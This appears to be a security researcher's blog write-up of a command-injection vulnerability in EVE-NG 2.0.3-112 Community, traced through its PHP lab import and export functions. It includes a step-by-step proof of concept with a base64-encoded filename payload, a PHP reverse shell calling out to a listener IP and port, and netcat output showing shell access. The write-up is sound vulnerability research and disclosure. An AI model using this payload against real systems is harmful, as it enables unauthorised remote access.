

A deep dive into EVE-NG Remote Command Execution

PHP Filter bypass & RCE on EVE-NG

Posted by ErPaciocco



Hi all! A few months ago, during an activity, I tested an exposed EVE-NG instance. Immediately I thought:

"I am going to find a critical vulnerability in EVE-NG!"

I started the analysis and, a few days later, I reached my mission: now I'm gonna explain you all of my process, from recon to RCE, in:


EVE-NG 2.0.3-112 (community)

Let's go!

Phase 1: Inspecting Source Code

From [EVE-NG Website](#) I downloaded the 2.0.3-112 Community version OVF. It was locally available at [192.168.1.26](#).

I started the source code analysis by finding potentially dangerous functions like `exec`, `passthru`, `include` and so on. After typing `exec` in search bar I found this:



```
2075 risultati in 303 file - Apri nell'editor

▼ api.php html 1 6
  exec($cmd, $o, $rc);
  exec($cmd, $o, $rc);
  exec($cmd, $o, $rc);
  exec($cmd, $o, $rc);
  exec($cmd, $o, $rc);
  exec($cmd, $o, $rc);


▼ __node.php html\includes 2
  exec($cmd, $o, $rc);
  exec($cmd, $o, $rc);

▼ api_authentication.php html\includes 10
  $statement -> execute();
  $statement -> execute();
  $statement -> execute();
  $statement -> execute();
  $statement -> execute();
  $statement -> execute();
  $statement -> execute();
  $statement -> execute();
  $statement -> execute();
  $statement -> execute();

▼ api_folders.php html\includes 4
  BASE_LAB.$path.' -name "*.unl" -exec sudo /opt/unetlab/wra...
  exec($cmd, $o, $rc);
```

Results of 'exec' string

Looking at results page, I realized it could have been so funny because there were a lot of `exec` references which imply input data to check and validate. I decided to investigate more in depth on `api_labs.php`: it exposes an API to manage labs functions.



A quick sight to these functions gave me a hint on which ones I should focus on:

- Import Lab
- Export Lab

Other ones were more sanitized/hard to exploit or they weren't "highly related" to a potential RCE.

Function	Possible Exploit	Motivation (lines)
apiCloneLab	Path Traversal	api_labs.php: 107, 117
apiDeleteLab	RCE	Possible RCE but hard to exploit (input filters)
apiImportLabs	RCE	Possible chained RCE
apiExportLabs	RCE	Possible chained RCE

Phase 2: Exploit Theory

A deeper inspection led me to this plan:

- Import zipped LAB with a payload inside filename
- Export the same LAB, thus triggering command execution

Even if in other API calls UNL filename is checked and verified, in Import LAB feature (ZIP file) there isn't a check on file parameter:

Function `apiImportLabs`: `html\includes\api_labs.php`

```
if (checkFolder(BASE_LAB.$p['path']) !== 0) {  
    // Path is not valid  
    $output['code'] = 400;  
    $output['status'] = 'fail';  
    $output['message'] = $GLOBALS['messages'][80077];  
    return $output;  
}  
  
$finfo = new finfo(FILEINFO_MIME);  
if (strpos($finfo -> file($p['file']), 'application/zip') !== False) {  
    // UNetLab export  
    $cmd = 'unzip -o -d "'.BASE_LAB.$p['path'].'" ".$p['file']."' *.unl';  
    exec($cmd, $o, $rc);  
    if ($rc !== 0) {  
        $output['code'] = 400;  
        $output['status'] = 'fail';  
        $output['message'] = $GLOBALS['messages'][80079];  
        return $output;  
    }  
}
```

`apiImportLabs` function

The absence of this check makes possible to inject arbitrary filenames in UNL files: in Linux almost all characters are permitted inside filename, so it's fantastic. I only had to end filename with `.unl`.

In Export LAB feature there is a check to validate the existence of the file. If the file exists, the filename is passed to `exec` (parameter we control is `$element`):

Function `apiExportLabs`: `html\includes\api_labs.php`

```
// Using "element" relative to "path", adding '/' if missing
$relement = substr($element, strlen($p['path']));
if ($relement[0] != '/') {
    $relement = '/' . $relement;
}

if (is_file(BASE_LAB.$p['path'].$relement)) {
    // Adding a file
    $cmd = 'zip '.$export_file.' "'.$relement.'"';
    exec($cmd, $o, $rc);
    if ($rc != 0) {
        $output['code'] = 400;
        $output['status'] = 'fail';
        $output['message'] = $GLOBALS['messages'][80073];
        return $output;
    }
}
```


apiExportLabs function

NOTE: Considering that path delimiters in Linux are forward slashes (/) while I was in Windows environment, I had to inject a payload that didn't contain such characters (/ , : in Windows also \ is path delimiter). I opted to inject as zip argument a bash command.

Phase 3: PoC

1) Login as Admin

- To exploit this vulnerability, we must have enough privileges to create a new Lab. **Admin** user is the only role available in this version, so if you have an account on eve-ng, it will surely be an Administrator.



Login page

2) Import a new LAB

Once in `/#/main` you must prepare the payload. Craft a payload as shown in steps below:

- Create a ZIP file with a simple UNL file
- Open ZIP file and rename it following these rules:
- The filename must end with ".unl"
- Filename must not contain these characters: `/ \ " ' `` Considering these limitations and that we must inject bash commands, final payload will be like:

```
$(eval $(echo BASE64DATA| base64 --decode)).unl
```

The best thing we can do in this case is build a reverse shell. Payload is base64 encoded, so we need to base64 encode a reverse shell payload. In my case it has been:

```
php -r '$sock=fsockopen("192.168.1.22",5555);exec("/bin/sh -i &lt;&3 &gt;&3 2&gt;&3");'
```


- Base64-encoded:

```
cGhwIC1yICckc29jaz1mc29ja29wZW4oIjE5Mi4xNjguMS4yMiIsNTU1NSk7ZXhlYygiL2Jpbi9zaCAtaSA8JjMgPiYzIDI+JjMiKTsn
```

But you must change it in the following format:

```
php -r '$sock=fsockopen("YOUR_LISTENING_IP",YOUR_LISTENING_PORT);exec("/bin/sh -i &lt;&3 &gt;&3 2&gt;&3");'
```


3) Upload malicious ZIP file as new Lab



Malicious ZIP

4) Export LAB

In this final stage you must export the malicious Lab you've just created. Shell commands inside the UNL name will be executed. In case of reverse shell, be sure you are listening on IP and port set in malicious filename.



Netcat listening

test2.zip

New Name

Add folder

Export



☒  \$(eval \$(echo
cGhwIC1yICckc29jaz1mc29ja29wZW4oljE5Mi4xNjguMS4
yMilsNTU1NSk7ZXhlYygiL2Jpbi9zaCAtaSA8JjMgPiYzIDI+J
jMiKTsn | base64 --decode)).unl 13 May 2022 15:18

Export LAB

```
[user@parrot]-[/]  
$nc -lvp 5555  
listening on [any] 5555 ...  
connect to [192.168.1.22] from [192.168.1.26] 55  
074  
/bin/sh: 0: can't access tty; job control turned off  
$ whoami  
www-data  
$
```

Reverse Shell

STAY TUNED!

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